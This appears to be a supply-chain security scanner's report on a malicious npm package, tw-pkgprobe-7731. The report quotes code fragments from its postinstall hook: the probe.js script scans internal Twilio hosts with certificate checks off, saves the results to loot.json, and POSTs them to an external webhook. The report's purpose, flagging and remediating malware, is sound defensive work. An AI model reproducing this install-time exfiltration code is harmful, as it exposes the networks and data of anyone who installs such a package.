registry / Data exfiltration / tw-pkgprobe-7731

tw-pkgprobe-7731

Authorized security research probe (bug bounty). No-op outside the specific sandbox it was written for.

This report shows the evidence for tw-pkgprobe-7731@1.1.1. 9 of 10 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

This is concrete, unconsented install-time reconnaissance and exfiltration rather than a package-aligned function. The environment guard narrows targeting but does not remove the malicious behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

npm install invokes postinstall when the current directory matches /tmp/AC[0-9a-f]{32}/.

Impact

Exposes reachable internal services, connectivity metadata, and partial HTTPS response content to an external endpoint.

Mechanism

install-time network scanning and webhook exfiltration

Attack narrative

On installation, postinstall launches probe.js. In a targeted temporary environment, it resolves and probes internal Twilio hosts and a private IP, performs HTTPS requests with certificate verification disabled, stores partial response data, writes loot.json, and POSTs the collected results plus the working directory to an external webhook.

AI rationale

This is concrete, unconsented install-time reconnaissance and exfiltration rather than a package-aligned function. The environment guard narrows targeting but does not remove the malicious behavior.

Evidence

package.jsonprobe.jsindex.jsdaemon.jsloot.json

Network endpoints12

webhook.site/5764994f-28a3-41b2-b1f7-1ecc13e8e5caargo-cd.prod.email.twilioinfra.comhelp-center.aws-otk-prod-general-use1-001.otk.twilioinfra.comsupport-api.us1.twilio.comkafka-ui.au1.twilio.comkafka-self-service.au1.twilio.comcode.hq.twilio.comsnyk-sendgrid.corp.twilio.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

postinstall executes probe.js automatically during installation.
The probe is gated to a temporary sandbox path, then scans named Twilio internal hosts and a private IP.
It collects DNS, TCP, and HTTPS response data, including up to 150 response-body characters.
Collected results and the install working directory are POSTed to an external webhook.
The probe writes collected network results to loot.json.

Evidence against

The package main entrypoint is inert.
The path guard limits execution to a specific /tmp/AC… sandbox pattern.

Behavioral surface

Source

FilesystemNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 2.46 KB of source, external domains: webhook.site

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node ./probe.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"scripts": { "postinstall": "node ./probe.js || true" }

High

Suspicious Lifecycle Evidence

postinstall executes probe.js automatically during installation.

package.jsonView on unpkg · L7

•scripts.postinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

probe.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> probe.js const dns=require('dns'), https=require('https'), net=require('net'), fs=require('fs'); const HOOK='https://webhook.site/5764994f-28a3-41b2-b1f7-1ecc13e8e5ca'; function post(o){return new Promise(r=>{try{const b=JSON.stringify(o);const q=https.request(HOOK,{method:'POST',timeout:5000,headers:{'content-type':'application/json','content-len... function head(h,ms){return new Promise(r=>{try{const q=https.request({host:h,port:443,path:'/',method:'GET',timeout:ms,rejectUnauthorized:false},res=>{let b='';res.on('data',d=>{if... if(rec.dns!=='ERR'){ rec.tcp=await tcp(rec.dns,443,2500); if(rec.tcp==='open') rec.http=await head(h,3000); } try{fs.writeFileSync(__dirname+'/loot.json',JSON.stringify({recs,cwd:process

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

probe.jsView on unpkg

13function head(h,ms){return new Promise(r=>{try{const q=https.request({host:h,port:443,path:'/',method:'GET',timeout:ms,rejectUnauthorized:false},res=>{let b='';res.on('data',d=>{if(b.length<200)b+=d});res.on('end',()=>r({s:res.statusCode,srv:res.headers.server||'',b:(''+b).slice(0,150)}))});

High

Ai Review Evidence

It collects DNS, TCP, and HTTPS response data, including up to 150 response-body characters.

probe.jsView on unpkg · L13

9function post(o){return new Promise(r=>{try{const b=JSON.stringify(o);const q=https.request(HOOK,{method:'POST',timeout:5000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},res=>{res.resume();res.on('end',()=>r())});

High

Ai Review Evidence

Collected results and the install working directory are POSTed to an external webhook.

probe.jsView on unpkg · L9

24try{fs.writeFileSync(__dirname+'/loot.json',JSON.stringify({recs,cwd:process.cwd()}));}catch(e){} await post({event:'netmatrix',cwd:process.cwd(),recs});

High

Ai Review Evidence

The probe writes collected network results to loot.json.

probe.jsView on unpkg · L24

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node ./probe.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"scripts": { "postinstall": "node ./probe.js || true" }

High

Suspicious Lifecycle Evidence

postinstall executes probe.js automatically during installation.

package.jsonView on unpkg · L7

•scripts.postinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

probe.jsView file

Findings

6 High2 Medium4 Low

HighInstall Time Lifecycle Scriptspackage.json

HighTrigger Reachable External Post Callbackprobe.js

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidenceprobe.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to tw-pkgprobe-7731@1.1.1.

The versions list below shows the verdict for each recorded version.

Avoid installing tw-pkgprobe-7731@1.1.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-15 16:15:12.499Z (UTC).

Source advisory published: 2026-08-15 15:53:49.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

10 known versions

1.1.1latestshownMaliciousData ExfiltrationBlockPublishedAug 14, 2026, 7:56 PM 1.1.0MaliciousCredential ExfiltrationBlockPublishedAug 14, 2026, 7:43 PM 1.0.8Suspicious—WarnPublishedAug 14, 2026, 7:37 PM 1.0.7MaliciousMalwareBlockPublishedAug 14, 2026, 7:34 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

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Source & flagged code

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